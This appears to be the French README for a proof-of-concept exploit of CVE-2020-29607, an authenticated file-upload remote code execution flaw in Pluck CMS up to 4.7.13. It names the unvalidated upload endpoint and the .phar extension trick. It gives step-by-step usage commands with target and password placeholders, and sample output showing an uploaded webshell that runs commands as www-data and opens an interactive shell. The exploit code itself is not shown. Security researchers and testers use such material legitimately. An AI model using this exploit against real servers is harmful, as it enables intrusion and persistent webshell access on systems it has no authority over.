CVE-2020-29607 — Pluck CMS <= 4.7.13 RCE par téléchargement de fichier authentifié (PoC)

Exécution de code à distance authentifiée dans Pluck CMS avant la version 4.7.13. Le gestionnaire de fichiers admin (admin.php?action=files) ne valide pas les extensions de fichiers, ce qui permet de télécharger des fichiers .phar qu'Apache exécute comme du PHP. Le téléchargement d'un webshell via ce point de terminaison entraîne une RCE en tant qu'utilisateur du serveur web.

Comment ça marche

1. S'authentifie en utilisant le mot de passe administrateur fourni.
2. Télécharge un webshell PHP sous le nom shell.phar via le gestionnaire de fichiers admin.
3. Vérifie l'exécution en interrogeant le shell et en exécutant id.
4. Ouvre une boucle de commande interactive avec le webshell téléchargé.

Prérequis

• Python 3
• Installer les dépendances:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

Utilisation

# Pluck at root
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD

# Pluck in a subdirectory
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD --path /pluck

Exemple:

$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] Logging in...
[+] Logged in
[*] Uploading webshell...
[+] Webshell uploaded
[*] Shell URL: http://10.10.10.10/files/shell.phar
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data

Références

• CVE-2020-29607
• EDB-49909
• PoC original par Ron Jost (Hacker5preme)

Crédits

• Découverte et exploit original: Ron Jost (Hacker5preme)
• Port Python 3 et shell interactif: Esteban Zárate